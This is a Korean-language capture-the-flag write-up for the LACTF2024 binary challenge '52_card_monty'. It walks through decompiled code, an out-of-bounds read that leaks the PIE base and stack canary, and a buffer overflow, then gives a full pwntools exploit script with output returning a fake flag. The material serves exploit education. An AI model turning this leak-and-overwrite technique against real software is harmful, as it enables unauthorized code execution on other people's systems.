콘텐츠로 건너뛰기

[LACTF2024] 52_card_monty

checksec

[*] '/home/seo/study/LACTF2024/52_card_monty/monty'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Decompiled-src / Analysis

game 함수 호출.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Welcome to 52-card monty!");
  puts(
    "The rules of the game are simple. You are trying to guess which card is correct. You get two peeks. Show me the lady!");
  game();
  return 0;
}

v3 변수의 인덱스에 대한 검사가 없기 때문에 OOB 취약점 발생. 총 2번 일으키므로 code base와 canary 유출 가능.

fgetss 24크기보다 더 큰 52바이트를 입력받으므로 BOF 취약점 발생.

unsigned __int64 game()
{
  int v1; // [rsp+0h] [rbp-1D0h] BYREF
  int i; // [rsp+4h] [rbp-1CCh]
  __int64 v3; // [rsp+8h] [rbp-1C8h]
  _QWORD v4[52]; // [rsp+10h] [rbp-1C0h] BYREF
  char s[24]; // [rsp+1B0h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+1C8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v4, 0, sizeof(v4));
  for ( i = 0; i <= 51; ++i )
    v4[i] = lrand();
  v1 = rand() % 52;
  v4[v1] = 1111111111;
  puts("==============================");
  printf("index of your first peek? ");
  __isoc99_scanf("%d", &v1);
  v3 = v4[v1 % 82];
  v4[v1 % 82] = v4[0];
  v4[0] = v3;
  printf("Peek 1: %lu\n", v3);
  puts("==============================");
  printf("index of your second peek? ");
  __isoc99_scanf("%d", &v1);
  v3 = v4[v1 % 82];
  v4[v1 % 82] = v4[0];
  v4[0] = v3;
  printf("Peek 2: %lu\n", v3);
  puts("==============================");
  printf("Show me the lady! ");
  __isoc99_scanf("%d", &v1);
  puts("==============================");
  if ( v4[v1] == 1111111111 )
    puts("You win!");
  else
    puts("Just missed. Try again.");
  puts("==============================");
  puts("Add your name to the leaderboard.");
  getchar();
  printf("Name: ");
  fgets(s, 52, stdin);
  puts("==============================");
  printf("Thanks for playing, %s!\n", s);
  return v6 - __readfsqword(0x28u);
}

Docker 가상환경 구축

  • ubuntu 22.04.05 환경에서 flag 획득 불가로 Docker 구축 필요
sudo docker build . -t 52_card_monty
sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 52_card_monty sh

/srv/app # nc -lvp 1337 -e /srv/app/run
listening on [::]:1337 ...
connect to [::ffff:172.17.0.2]:1337 from [::ffff:172.17.0.1]:50326 ([::ffff:172.17.0.1]:50326)
Segmentation fault (core dumped)

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

# p = process("./monty")
p = remote("127.0.0.1", 1337)
e = ELF('./monty', checksec=True)

sla = p.sendlineafter
sa = p.sendafter

payload = b"57" #ret
sla(b"index of your first peek? ", payload)

code_base = p.recvline()
code_base = code_base.split(b"Peek 1: ")[1].split(b"\n")[0]
code_base = int(code_base) - 0x167e
success(f"code_base: {hex(code_base)}")

payload = b"55" #canary
sla(b"index of your second peek? ", payload)

canary = p.recvline()
canary = canary.split(b"Peek 2: ")[1].split(b"\n")[0]
canary = int(canary)
success(f"canary: {hex(canary)}")

sla(b"Show me the lady! ", b"1")

payload = b"A"*24 + p64(canary) + b"B"*8 + p64(e.symbols["win"] + code_base)

sla(b"Name: ", payload)

p.interactive()

Result

seo@seo:~/study/LACTF2024/52_card_monty$ python3 solve.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] '/home/seo/study/LACTF2024/52_card_monty/monty'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[+] code_base: 0x56fd9c27c000
[+] canary: 0xe6096a4aeb61fb00
[*] Switching to interactive mode
==============================
Thanks for playing, AAAAAAAAAAAAAAAAAAAAAAAA!
flag{fake_flag}
[*] Got EOF while reading in interactive
$
태그: